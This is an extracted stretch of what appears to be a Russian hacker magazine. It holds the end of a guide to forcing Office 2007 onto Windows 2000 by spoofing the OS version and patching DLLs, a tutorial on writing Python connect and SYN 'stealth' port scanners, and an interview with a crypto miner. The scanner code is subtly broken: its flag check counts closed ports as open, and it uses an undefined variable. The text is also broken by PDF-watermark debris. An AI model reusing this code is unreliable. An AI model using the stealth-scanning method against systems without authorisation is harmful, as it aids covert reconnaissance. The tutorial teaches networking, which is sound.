По умолчанию в Windows 2000 можно без проблем установить только морально устаревший O ce 2003, который не поддерживает современные форматы документов. К сожалению, ничего новее O ce 2007 поставить на эту систему тоже не получится, да и в том будут работать далеко не все функции. Например, ты сможешь просматривать зашифрованные документы, но у тебя не будет возможности их редактировать.

Если ты установишь Of ce 2007 описанным

здесь способом,

в дальнейшем удалить

его

из Windows 2000

из панели управления

уже

не получится. Программу придется удалять вручную, а затем чистить реестр.

Итак, для начала нам потребуется распаковать дистрибутив O ce 2007 на диск так же, как мы это делали раньше с дистрибутивом Windows 2000. Это нужно делать на той машине под управлением Win2K, на которой ты будешь его устанавливать.

Загрузи утилиту fcwin088 с сайта BlackWingCat, создай на системном диске какую-нибудь папку, например C:\fcwin088, и распакуй в нее содержимое CAB-файла. В дальнейшем тебе понадобятся файлы NNN4NT5 из папки tools

и fcwin2k.

Если ты теперь попробуешь запустить «родную» программу установки O ce 2007, ничего не получится: setup.exe просто откажется работать. Вместо этого запусти только что распакованное приложение fcwin2k — оно обманывает установщик, заставляя его думать, что он работает в более поздней версии Windows. В открывшемся окне нажми кнопку Refer рядом с File и найди на диске исполняемый файл setup.exe из дистрибутива O ce 2007.

В выпадающем списке OS Ver выбери Windows XP SP3, нажми CompatSave, а затем RunCompat.

Утилита fcwin2k

Теперь программа setup.exe должна запуститься нормально и начать установку O ce. Скорее всего, ты не сможешь ввести ключ продукта (поле для ввода ключа будет некликабельным), поэтому просто нажми «Далее» — серийник можно указать позже. В окне выбора компонентов откажись от установки Microsoft Groove — эта программа не работает в Windows 2000. Все остальное можно смело устанавливать.

При желании установи O ce 2007 Service Pack 3 — этот пакет обновлений уже отсутствует на официальном сайте Microsoft, но, по счастью, он сохранился в Web Archive.

Если теперь ты попробуешь запустить любое приложение O ce, то ты получишь ошибку This program requires a newer version of Windows («Эта прог-

рамма требует более новой версии Windows»). Чтобы избавиться от нее, запусти приложение NNN4NT5 из комплекта поставки fcwin088. Эта программа обманет систему: приложения будут считать, что они работают в Windows XP. Данный трюк позволит тебе запускать более-менее современные программы, но вызовет проблемы, если ты захочешь установить специфичные для Win2K приложения или компоненты (например, дополнительный клиент Remote Desktop Connection, не включенный по умолчанию в Windows 2000).

Утилита NNN4NT5

Если тебе нужен клиент Remote Desktop Connection, установи его ПЕРЕД запуском NNN4NT5. Он откажется работать, если будет думать, что ты используешь XP, поэтому либо устанавливай его заранее, либо верни внесенные в систему с помощью NNN4NT5 изменения, установи RDC, а затем снова примени NNN4NT5.

Мы проделали уже много манипуляций с O ce 2007, но, несмотря на это, он все равно откажется работать — на сей раз из-за отсутствия библиотеки msvcr90.dll. На самом деле ошибка msvcr90.dll could not be found свя-

зана с другой библиотекой — riched20.dll, которая отвечает за корректное отображение текста в формате Rich Text Format (RTF), в том числе в окнах установки приложений. Именно поэтому мы не могли ввести серийник на этапе инсталляции O ce.

Актуальную версию файла riched20.dll можно взять из HFSLIP — этот файл в сжатом виде (riched20.dl_) лежит в папке \SOURCESS\I386. Саму библиотеку можно извлечь из файла с помощью 7-Zip и заменить ею оригинальный файл в C:\WINNT\system32. Если это не поможет решить проблему, установи неофициальный SP 5.1 для Windows 2000 либо просто вытащи оттуда одну эту библиотеку и замени ей библиотеку в папке system32.

Теперь осталось только ввести ключ продукта, если ты не сделал этого раньше. Закрой все приложения O ce и снова запусти программу установки. Когда на экране отобразится окно с предложением указать ключ продукта, введи в соответствующее поле серийный номер и нажми «Далее» — спустя несколько секунд программа установки завершит свою работу, но теперь ключ будет зарегистрирован в приложении.

Шрифт по умолчанию в Microsoft O ce 2007 — Colibri, который обычно предустановлен в более поздних версиях Windows. Открой папку C:\WINNT\ system32\Fonts и убедись, что там присутствует файл этого шрифта. Если такой шрифт в системе не зарегистрирован, найди его в интернете, скачай и установи на компьютере.

Включаем поддержку зашифрованных документов

К этому моменту O ce 2007 в основном работает, и ты сможешь нормально открывать и сохранять файлы. Однако, скорее всего, у тебя не получится открывать документы, зашифрованные в новых версиях O ce. Чтобы исправить это, тебе нужно заменить некоторые DLL-файлы файлами для Windows XP.

Необходимые

библиотеки

можно

найти

в

обновлениях

KB3081320 и KB2868626.

 

 

 

 

Открой Microsoft Update и загрузи обновления KB3081320 для Windows XP Embedded (Security Update for WEPOS and POSReady 2009 (KB3081320) Windows XP Embedded Security Updates, 11/9/2015, 719 Кбайт) и KB2868626 для Windows XP (Security Update for Windows XP (KB2868626) Windows XP, 11/11/2013, 754 Кбайт). Не устанавливай эти обновления — вместо этого нужно извлечь библиотеки dssenh.dll, rsaenh.dll и schannel.dll

из обновления KB3081320 для POSReady и crypt32.dll из KB2868626.

Ты не сможешь использовать архиватор 7-Zip, чтобы извлечь исполняемые файлы из пакетов обновлений. Вместо этого открой командную строку и перейди в локальную папку, куда ты сохранил скачанные апдейты. Затем выполни следующую команду (предполагается, что обновление загружено для английской версии Windows):

windowsxp-kb2868626-x86-enu_

1a00424d2070b57a4d9e2e73e54d90f51bb0562a.exe /extract

В открывшемся окне нажми OK, чтобы извлечь файлы. Сделай то же самое для другого обновления:

windowsxp-kb3081320-x86-embedded-enu_

d8e991e08445605d85c48425684c7850d1d63a36.exe /extract

Сохрани нужные DLL-файлы в какую-нибудь папку на диске, исходные файлы обновлений теперь можно удалить. Очевидно, что Windows не позволит заменить библиотеки, когда операционная система загружена, поэтому воспользуйся каким-нибудь Live CD и замени эти библиотеки в папке C:\WINNT\

system32.

После замены библиотеки crypt32.dll новой версией зашифрованные файлы в Word и Excel будут открываться нормально, но Microsoft Outlook, скорее всего, перестанет работать, поскольку это приложение использует старую версию библиотеки. Если тебе все-таки нужен Outlook, сохрани оригинальную биб- лиотеку crypt32.dll под именем crypt33.dll, скачай и установи редактор

HxD, затем открой в нем файл C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.dll, нажми CTRL-F для поиска crypt32. Должно най-

тись одно совпадение. Исправь crypt32 на crypt33 и сохрани файл.

После этого при каждом открытии Outlook будет появляться предупреждение о недействительном сертификате безопасности. Ты можешь отключить предупреждение и продолжать пользоваться Outlook, но каждый раз при старте программы диалог вылезет.

ФИНАЛЬНЫЕ ШТРИХИ

Фактически Windows 2000 в таком виде уже можно пользоваться. Чтобы интерфейс лучше воспринимался, щелкни правой кнопкой мыши на рабочем столе, выбери Properties («Свойства»), перейди на вкладку E ects («Эффекты»)

иустанови флажок Smooth edges of screen fonts («Сглаживать края экранных шрифтов»).

Для поддержки сетей Wi-Fi с WPA2 в Windows 2000 рекомендую скачать

иустановить программу WiFi Hopper с официального сайта или с торрента. Многие драйверы к Windows 2000 SP4 подходят от ХР, родные «дрова» все еще можно найти в интернете или в веб-архиве.

На моем Toshiba P35 Win2K крутится довольно быстро, O ce 2007 позволяет редактировать документы в современных форматах, Firefox — бродить по сети (пришлось установить дополнения для поддержки HTTPS), а вместо почтового клиента я поставил The Bat. Получилась симпатичная пишущая

машинка, которую можно отправить доживать свой век на дачу, чтобы на досуге писать на ней статьи в «Хакер», а в свободное время — играть в UFO

и второй Warcraft.

Последние совместимые с Windows 2000 версии популярного софта

Аналогичный список для системы с KernelEx

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

КОДИНГ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК НАПИСАТЬ И УЛУЧШИТЬ СОБСТВЕННЫЙ СКАНЕР ПОРТОВ

С чего начинается атака на сервер? Правильно, с разведки! Сканеров портов существует множество, и они быстро и эффективно справляются со своей задачей. Но настоящий хакер должен понимать, как работают его любимые инструменты, так что сегодня мы в учебных целях напишем собственный сканер, и я расскажу, какие методы сканирования лучше никогда не использовать.

Марк Клинтов

Не существует устройства, которое запретит людям быть идиотами vlad.klintov@mail.ru

Сначала мы изучим теоретическую часть: как вообще работает соединение, как оно устанавливается и как можно использовать эти механизмы. Тут я покажу «плохую» реализацию сканера. Затем мы разберем сканер здорового человека и реализуем его самостоятельно.

ТЕОРИЯ

Для начала посмотрим, как сетевые устройства взаимодействуют друг с другом в классическом случае. Для этого используются сокеты, которые упрощенно можно изобразить как трубы. При этом у каждой трубы два конца — это и есть сокеты. Один конец трубы находится на одном компьютере, другой — на другом, а программы могут что-то помещать в такие «трубы» или читать из них.

Существует два типа сокетов: TCP и UDP. Они отличаются тем, что происходит в пути от одного конца трубы к другому. TCP-сокет гарантирует, что пакеты будут доставлены до другого конца трубы в нужном порядке и без потерь — если это вообще возможно, разумеется. А вот UDP-сокеты работают на скорость и могут потерять или перепутать пакеты по дороге.

Наглядное объяснение

Видеосвязь, например, отлично использует преимущества UDP. Если с каналом вдруг что-то не так, какие-то пакеты просто потеряются, а оставшиеся дойдут в срок, и какая-никакая картинка все равно будет.

ПИШЕМ СКАНЕР НА СОКЕТАХ

Этот сканер — самый простой и очевидный. Чтобы узнать, какие порты открыты, можно просто попробовать подключиться к ним поочередно и посмотреть, что будет.

Все примеры кода привожу на Python 3.10, а работать я предпочитаю в PyCharm, хотя и не навязываю тебе свой выбор.

Создаем программу и импортируем основные модули:

import socket

from datetime import datetime

import sys

Подробнее узнать о работе с модулем socket можно в официальной документации.

Запомним время запуска программы — в дальнейшем это пригодится, чтобы узнать время сканирования.

start = datetime.now()

Хранить пары из портов и названий сервисов будем прямо в коде. При желании можешь проапгрейдить этот метод, например до файлов JSON.

ports = {

20: "FTP-DATA", 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 43: "WHOIS", 53: "DNS", 80: "http", 115: "SFTP", 123: "NTP", 143: "IMAP", 161: "SNMP", 179: "BGP", 443: "HTTPS", 445: "MICROSOFT-DS",

514: "SYSLOG", 515: "PRINTER", 993: "IMAPS", 995: "POP3S", 1080: "SOCKS", 1194: "OpenVPN", 1433: "SQL Server", 1723: "PPTP", 3128: "HTTP", 3268: "LDAP", 3306: "MySQL", 3389: "RDP",

5432: "PostgreSQL", 5900: "VNC", 8080: "Tomcat", 10000: "Webmin" }

Преобразуем переданный аргумент в IP-адрес. Для этого скормим первый аргумент командной строки нашего сканера функции socket.gethostbyname( string) — бонусом получим разрешение DNS, если передано доменное имя, а не IP-адрес.

host_name = sys.argv[1]

ip = socket.gethostbyname(host_name)

Теперь в цикле обойдем все порты из списка и проверим возможность подключения к ним. Если порт закрыт, будет вызываться исключение, которое мы перехватим, и программа не вылетит.

В конце работы сохраняем время окончания и выводим на экран длительность сканирования.

for port in ports:

cont = socket.socket() cont.settimeout(1) try:

cont.connect((ip, port)) except socket.error:

pass

else:

print(f"{socket.gethostbyname(ip)}:{str(port)} is open/{ ports[port]}")

cont.close() ends = datetime.now()

print("<Time:{}>".format(ends - start)) input("Press Enter to the exit....")

Теперь, чтобы протестировать работу нашего сканера, откроем терминал, перейдем в папку со сканером и выполним команду

python.exe socket.py 45.33.32.156

Если ты работаешь на Linux, используй команду python3, чтобы случайно не нарваться на уста-

ревший Python.

Само собой, вместо IP в примере можно указать любой хост.

Давай посмотрим, как это выглядит со стороны сервера. Для этого воспользуемся старичком Netcat. Скачай его и запусти следующим образом:

ncat.exe -lnvp 123

Netcat может понадобиться внести в белый список антивируса или согласовать установку с корпоративной службой безопасности. Netcat часто используют хакеры, чтобы поднять шеллы в скомпрометированных системах, так что ругань антивируса вполне оправданна.

В соседнем терминале запускаем наш сканер изучать наш собственный IPадрес. Посмотреть его можно в выводе команды ipconfig /all. В результате в окне с Netcat произойдет следующее.

Реакция Netcat на сканирование

На скриншоте видно, что было установлено полноценное соединение, и, конечно, в реальности любая программа тоже это увидит, то есть незаметно просканировать кого-то таким образом не получится.

Также давай теперь просканируем сервер scanme.nmap.org (именно его IP был в первом примере). Результаты будут выглядеть примерно так:

Address: 45.33.32.156 45.33.32.156:22 is open/SSH 45.33.32.156:80 is open/http

Сканер нашел два открытых порта — 22 и 80. Но если просканировать этот же хост при помощи Nmap, увидим, что открытых портов намного больше.

Nmap scan report for scanme.nmap.org (45.33.32.156)

Host is up (0.22s latency).

Not shown: 994 closed ports

PORT

STATE

SERVICE

22/tcp

open

ssh

80/tcp

open

http

1720/tcp

open

h323q931

5060/tcp

open

sip

9929/tcp

open

nping-echo

31337/tcp

open

Elite

Nmap done: 1 IP

address (1 host up) scanned in 5.02 seconds

Почему так? Nmap проходит по значительно большему списку портов, чем наш сканер, и, соответственно, видит больше. Если мы добавим эти порты в наш сканер, он тоже их найдет.

Понятно, что такой сканер вряд ли применим в реальных условиях, кроме совсем уж экзотических: например, когда сканировать надо с машины, на которую невозможно доставить полноценный сканер, но на которой уже есть Python.

Давай лучше попробуем сделать сканер, который не станет так палиться и работать будет куда быстрее.

ОПТИМИЗАЦИИ

Чтобы сделать наш сканер более эффективным и скрытным, нужно не устанавливать соединение, ведь это требует целых три пакета (трехэтапное рукопожатие) плюс дополнительное время, чтобы закрыть соединение. Но как узнать, открыт ли порт, не пытаясь подключиться?

Оказывается, метод есть. Заключается он в том, что необязательно завершать все три этапа рукопожатия — тогда соединение не будет установлено, а значит, не нужно будет и закрывать его. Узнать, открыт ли порт, можно в ответе на первый же пакет, отправленный серверу, так что здорово сэкономишь время, если искусственно делать неполное рукопожатие. Бонусом получаем скрытность: если соединение не установлено, то программы на целевой машине и не узнают, что их кто-то сканирует.

Как работает трехэтапное рукопожатие? Сначала инициатор соединения отправляет другой машине на интересующий порт пакет с флагом SYN. Если порт открыт, должен прийти ответ с флагами SYN и ACK. Если порт закрыт, поведение может быть разным, но в нормальном случае в ответе должен быть флаг RST.

Если инициатор еще не раздумал открывать соединение, он должен отправить еще один пакет, но уже только с флагом ACK, после чего соединение будет считаться установленным.

Ключевой момент тут в том, что отправлять финальный ACK совершенно не обязательно, так как узнаем статус порта мы уже после второго пакета, а третий заберет у нас драгоценное время и лишит скрытности.

Чтобы закрыть соединение, нужно отправить пакет с флагами FIN и ACK. Эта информация нам сегодня не понадобится и нужна только для более полного понимания, что происходит с TCP-соединением на разных этапах его жизни.

SYN-СКАНЕР НА PYTHON

Создаем новый скрипт на Python и импортируем нужные модули:

from scapy.layers.inet import ICMP, IP, TCP, sr1

import socket

from datetime import datetime

Если ты получил ошибку вида ModuleNotFoundError: No module named 'scapy', значит, нужно доустановить модуль scapy из PyPI: pip install

scapy.

Документация Scapy

В этот раз перед сканированием неплохо бы проверить, доступна ли целевая машина. Для этого можно отправить ICMP Echo Request (в простонародье — пинг):

start = datetime.now()

# Здесь проверяется, в сети ли сервер def icmp_probe(ip):

icmp_packet = IP(dst=ip) / ICMP()

# Отправка и прием одного пакета resp_packet = sr1(icmp_packet, timeout=10) return resp_packet is not None

Теперь напишем саму функцию сканирования. Она будет обходить все порты, слать SYN-пакеты и ожидать ответа.

def syn_scan(ip, ports):

# Проходимся по каждому порту for port in ports:

# Флаг S означает SYN-пакет

syn_packet = IP(dst=ip) / TCP(dport=port, flags="S")

# Время ожидания пакета можно ставить свое resp_packet = sr1(syn_packet, timeout=10) if resp_packet is not None:

if resp_packet.getlayer('TCP').flags & 0x12 != 0: print(f"{ip}:{port} is open/{resp_packet.sprintf(

'%TCP.sport%')}")

ends = datetime.now()

Порт будет считаться открытым, если в ответном пакете установлены флаги SYN и ACK (или хотя бы один из них).

Чтобы узнать, какой сервис соответствует какому порту, в этот раз мы не будем изобретать свой список, а воспользуемся готовым, который предоставляет сам Scapy. Можно использовать функцию resp_packet.show(), в выводе которой указывается сервис, соответствующий целевому порту.

###[ IP ]###

version

= 4

ihl

= 5

tos

= 0x0

len

= 44

id

= 0

flags

= DF

frag

= 0

ttl

= 57

proto

= tcp

chksum

= 0x71c4

src

= ip_цели

dst

= ip_атакующего

\options

\

###[ TCP ]###

sport

= ssh

dport

= ftp_data

seq

= 986259409

ack

= 1

dataofs

= 6

reserved

= 0

flags

= SA

window

= 65535

chksum

= 0x6d61

urgptr

= 0

options

= [('MSS', 1436)]

Осталось всего ничего: скормить функции список портов для проверки и реализовать ввод информации о цели. Этим и займется функция main. В этот раз сделаем интерактивный ввод адреса цели и предварительную проверку доступности цели перед сканированием.

if __name__ == "__main__":

name = input("Hostname / IP Address: ")

# Узнаем IP цели

ip = socket.gethostbyname(name)

# Обозначаем порты для сканирования ports = [20, 21, 22, 23, 25, 43, 53, 80,

115, 123, 143, 161, 179, 443, 445, 514, 515, 993, 995, 1080, 1194, 1433, 1723, 3128, 3268, 3306, 3389, 5432, 5060, 5900, 8080, 10000]

# Перехватываем исключения в момент, когда заканчивается кортеж

try:

# Если не удалось подключиться к серверу, выводим ошибку if icmp_probe(ip):

syn_ack_packet = syn_scan(ip, ports) syn_ack_packet.show()

else:

print("Failed to send ICMP packet") except AttributeError:

print("Scan completed!") print("<Time:{}>".format(ends - start))

В массив ports нужно записать порты, которые ты собираешься сканировать. Необязательно перебирать все: даже Nmap по умолчанию сканирует только топ-1000 самых популярных, а остальные ускользают и от него, если явно не затребовать полное сканирование (-p-).

На последней итерации цикла происходит ошибка (массив заканчивается), а значит, можно использовать это событие, чтобы сообщить о завершении работы.

Поскольку мы теперь запрашиваем адрес в самом скрипте, его можно запускать без всяких параметров.

python.exe synscaner.py

Если снова открыть Netcat и просканировать его, то сканер покажет открытый порт, но никакого подключения не случится. Проверка на скрытность пройдена!

Пример работы SYN-сканера

Полный

код

смотри

в

моем

репозитории

на

GitHub.

Там есть

и

доработки, которые

не

были

рассмотрены в статье,

например гра-

фический интерфейс на PyQt.

Теперь давай просканим какой-нибудь публичный сервер (тот же scanme. nmap.org) и при помощи Wireshark посмотрим, какие пакеты ходят. Запустим Wireshark, а затем и сканирование.

Чтобы не запутаться и не утонуть в потоке информации, который извергает Wireshark, давай применим фильтр. Достаточно будет показать пакеты, которые отправлены или получены от хоста с IP 45.33.32.156.

ip.addr == 45.33.32.156

После применения фильтра окно Wireshark выглядит так.

Результаты фильтрации

Первым в списке видим ICMP-пакет (пинг), который отправлялся для проверки доступности. Дальше идут пакеты с флагами RST/ACK (закрытые порты) и SYN/ACK (открытые порты).

ЗАКЛЮЧЕНИЕ

Сегодня мы рассмотрели два метода сканирования: с установлением соединения и без него. За рамками статьи осталось сканирование портов UDP, так как оно намного сложнее и нужно реже. Тем не менее Scapy позволит реализовать и его, если тебе это вдруг понадобится. Не забывай, что подобные программы — это в первую очередь опыт, а не замена готовым инструментам. Именно знание того, как все устроено внутри, делает тебя настоящим хакером!

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

GEEK

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ZEROCO0L О ПЕРЕХОДЕ ЭФИРА НА POS, СЕКРЕТНЫХ МОНЕТАХ И ДЕШЕВЫХ ВИДЕОКАРТАХ

ZeroCo0l — энтузиаст майнинга, зарабатывающий на своей ферме из 80 видеокарт около 90 долларов в день. В преддверии перехода эфира на proof of stake Даня Шеповалов поговорил с ним о том, чем займутся майнеры, когда майнить эфир больше не получится, как искать суперприбыльные секретные монетки и имеет ли смысл новичкам сейчас собирать майнинг-ферму с нуля.

Даниил Шеповалов https://t.me/vecherniy_danya aprilkey@gmail.com

Не забудь подписаться на телеграм-канал Дани Шеповалова «Вечерний Даня», чтобы не пропускать новые авторские материалы, и заглядывай на danya.ru.

В середине сентября начнется переход Ethereum на PoS. Ты майнишь эфир? Как вообще это событие скажется на майнерах?

Ну, далеко не факт, что это произойдет в середине сентября, наверняка

будут задержки, как это по классике происходит с эфиром из года в год. Насчет майнинга: да, в данный момент я майню эфир. Наверное, уже года

два никаких секретных монет мы не копали. Эфир стрелял неоднократно, особенный жор был в момент тренда DeFi, так как комиссия в сети эфира была очень высокая, а получали ее майнеры.

Вообще, я считаю, что переход эфирки на PoS очень позитивно скажется на индустрии: наконец-то начнут пилить новые монеты именно под 30-ю или 40-ю серию, активизируются разработчики, думаю, мы увидим пампы таких монет, как ETC, RVN, ZEC. Не эфиром единым, да и биток никто не отменял.

Ну и как-то в целом достало это вечное чувство «ожидания поса» — только жути нагоняют. Сейчас около 83% всех GPU майнят эфир, эти мощности нужно будет куда-то размазывать.

Так, погоди, давай поподробнее, почему будут пампы ETC, RVN, ZEC?

Про памп этих монеток — это чисто личное мнение. Таким ребятам,

как AMD и Nvidia, нужно продавать свое железо. Я думаю, они и будут пампить какие-то из этих монет. Не финансовый совет ни в коем случае!

Памп (от pumping) — спланированное и организованное повышение цены монеты.

«30-þ или 40-ю серию» — имеются в виду видеокарты Nvidia?

Да, карточки Nvidia. Майнинг на AMD я в принципе не рассматриваю.

À ÷òî íå òàê ñ AMD?

Да все так, AMD хорошо пашут на Etchash и ETH. Карты AMD очень чувстви-

тельны к настройкам разгона, а иногда и вовсе шить надо. У Nvidia в этом плане нет проблем, зажевывает любой алго.

Геймеры же ненавидят майнеров за то, что те скупают видеокарты?

Скорее всего. Совсем недавно карточки были в дефиците и стоили очень

дорого, но сейчас, я думаю, ситуация резко поменяется, карт стало очень много на вторичке и по очень хорошим ценам.

Èç-çà близкого перехода эфира на PoS?

Да, как обычно, причина одна — майнинг мертв, эфир на PoS. Просто все

отвыкли майнить, все стали ленивыми или вовсе не знают, как залить кастомный майнер в линь, чтобы копать новую монету. Проще майнить эфир, ну или продать карты.

Какие монеты ты майнишь? И что наиболее выгодно сейчас майнить?

На proof of work у меня майнится четыре монеты. Ясное дело, это биток

и эфир, недавно взял потестить асики iPollo для Ethereum Classic, чувствую, будет памп. Ну и по фану майню GRIN тоже на асиках, правда в соло.

Если не считать секретных монет, наиболее выгодно сейчас майнить эфир на карточках, ну можно дуалить с каким-нибудь алго параллельно. У разных монет разные алгоритмы хеширования, например одни хороши под AMD, другие под Nvidia. От алгоритмов зависит и электропотребление карты, и даже износ. Есть холодные алги, есть горячие.

Асик (ASIC — application speci c integrated circuit) — специальное оборудование для майнинга криптовалют.

Что за секретные монеты?

Секретные монеты — это те, про которые никто не слышал, они дают пер-

вое время сверхдоходность, пока сложность не улетела в космос. Это особенно интересное время для майнинга соло.

А как их находить?

Все секретные монеты рождаются в GitHub. Юзай поиск по ключевым сло-

вам!

Майнинг выгоднее, чем стейкинг?

Ну тут все считается в моменте, и очень многое зависит от проекта. Такие

гемы, как Solana или Graph, попадаются очень редко.

А в чем заключается их гемность?

Сейчас для меня гемность — это высокий доход за относительно короткий

срок: один-два года. «Соляна» и «Граф» в моменте покрыли риски с головой. Ведь крипта — это исключительно про деньги, а не про технологии, как бы печально это ни звучало.

То есть ты не веришь во все эти DeFi-революции, Web3 и прочие метаверсы? На той же «Солане» огромная экосистема, всякие raydium.io и прочее...

Конечно, я верю во все эти приколюхи, но с приходом в крипту институци-

оналов все поменялось. Просто я выбираю PoW, так как это стабильность: уж если все скаманется, то у меня хотя бы железяки останутся. А если произойдет какой-нибудь слешинг на стейкинге, то это будет полный попадос, ты можешь лишиться как основного стейка, так и заработанных монет. С повом это сделать сложнее и дороже.

«Слешинг на стейкинге» — штрафы, применяемые к валидаторам за нарушения процесса валидации.

После перехода на PoS будешь заводить ноду эфира?

Под эфир я ноду заводить точно не буду, есть более интересные и не такие

ресурсозатратные проекты по стейкингу. У меня есть ноды других монет, большинство из них — это VDS, но есть и железные ноды, так как арендовать сервак с хорошей GPU очень дорого.

А какие проекты интереснее, чем эфир, в плане стейкинга?

Очень сложный вопрос, но я делаю ставку на Polkadot и ATOM, опять же

исключительно ради прибыли. Проектов много, открывай p2p.org и выбирай любой. А вообще можно открыть Ledger Live и смотреть, какие монеты он поддерживает в стейк. Я делаю так.

Насколько вообще майнинг прибылен?

Тут надо разделять майнинг на GPU и майнинг на асиках. И все зависит

от розетки (стоимость киловатт-часа). От того, насколько у тебя дешевое электричество, напрямую зависит доход. Например, я в моменте плачу за свет

вчетыре раза меньше, чем ковыряется. С соседями проблем нет: я живу

вдеревне в отдельном доме, у меня сельский тариф, и рядом нет никого, мне вообще норм.

По асикам на сейчас ситуация у меня такая, что я работаю в ноль. При цене 4,26 р. за киловатт-час.

ASIC

По GPU совсем наоборот, 90 баксов в день чистыми. При цене 3,17 р. за киловатт-час получается как на скриншоте.

А на видеокартах 90 баксов чистыми — это ферма из скольких и каких именно видеокарт? И сколько она стоила изначально?

Около 80 карточек, Nvidia, все — 30-я серия. По цене вроде 2500 рублей

за мегахеш вышло, но я точно не могу сказать, запамятовал что-то.

Мегахеш — единица измерения вычислительной мощности устройства, добывающего криптовалюту: один миллион перебираемых хешей

всекунду.

Как быстро устаревает оборудование?

Тут все зависит от того, в каких условиях работают железяки. Если их обслу-

живать и не перегревать, то они будут работать годами. У меня до сих пор трудятся и GeForce GTX 1070, им уже шесть лет. Тут скорее речь про расходники: райзеры, блоки питания, кабелечки там разные. А остальное железо может служить годами.

Были пожары? Какие-то аварии? Внештатные ситуации?

Пожаров как таковых не было, бывало, выгорали вилки и розетки, бабахали

кондеры в картах, но ничего серьезного не было. Потопы случались, пару раз заливало риги, но ничего, феном просушил, и в работу опять!

Река разлилась?

Не настолько глобальный потоп! Просто балкон залило дождиком ;)

А вообще когда и как ты увлекся майнингом? Зарабатывать стал сразу? Долго разбирался? С какими проблемами сталкивался?

Весной 2017 года я купил первый риг на шесть GeForce RTX 1070, и, когда

увидел на пуле, как увеличиваются копейки и оно само работает, я понял, что эта работка по мне!

Зарабатывать стал не сразу, на тот момент это был единственный источник дохода. И так как я был в режиме HODL, я взял кредит в банке и оплачивал им электричество, только чтобы не тратить монетки.

Разбирался недолго, по сути риг — это обычный комп с большим количеством видях. Все очень быстро и просто собирается. Плюс у меня есть кенты, которые майнили в 2009 году, и первую машинку я собрал с ними.

Проблемы...

Единственная проблема — это жизнь в вечном ожидании пампа! Нормальные деньги пошли где-то пару лет назад.

То есть ты майнишь биткоин и другую крипту все время, а продаешь только на пампе?

Я не продаю монеты, которые майню, пока есть свободные деньги.

А когда начнется новый памп биткоина? В районе халвинга плюс-минус?

Да, халва — это всегда предвестник пампа. Исторически сложилось, что

после халвы биток пробивает новый абсолютный максимум. Ну и халвинг — это же не только про биткоин, скоро халва у ETC и Zcash. Я думаю, мы увидим очередную ракету где-то в сентябре 2024 года. Не финансовый совет!

Халвинг, «уполовинивание» — периодическое уменьшение количества генерируемого Bitcoin ровно наполовину.

Часто в медиа и чатах разгоняется история, что вот у майнинга есть какая-то точка, где он становится убыточен, и майнеры тогда уйдут из биткоина. Это городская легенда или что-то реальное?

Конечно, я повторюсь, что все зависит от тарифа на электричество и от

модели асика. Мои M20s на 70 TH сейчас работают в ноль, если биток чуть просядет, будет уже минус, и тут все зависит от твоей веры в биток — готов ли ты платить за свет из своего кармана, а не из дохода асиков.

Whatsminer M20s 70 Th/s — ASIC для майнинга биткоина.

То есть возможна ситуация, что большая часть майнеров плюнет и не станет майнить в убыток, а сеть биткоина станет уязвима для атак?

Нет, такой ситуации не может быть, биток всегда будут майнить. А что

говорить про децентрализацию как вектор атаки, ну сейчас всеми мощами BTC владеют четверо-пятеро дядек. А вот на ETC, я думаю, мы увидим сюрпризы, когда на нее кинут эфирные мощности.

Какого плана сюрпризы?

Ну что-то из серии атаки 51%, откат чейна. У ETC с этим всегда проблемы

были, тяжко им будет вывозить моща с эфира.

Что бы ты посоветовал новичку, который сейчас хочет заняться майнингом?

Посоветовал бы терпения и никогда не брать кредит. Сейчас очень сочное

время для входа в майнинг: железа много и оно дешево. Если есть возможность купить хотя бы пару карт и время, чтоб всем этим заниматься, то я советую не откладывать. В долгосрочной перспективе всегда выигрывают покупатели лопат, а не их продавцы.

Давай в заключение какую-нибудь захватывающую байку из жизни майнера.

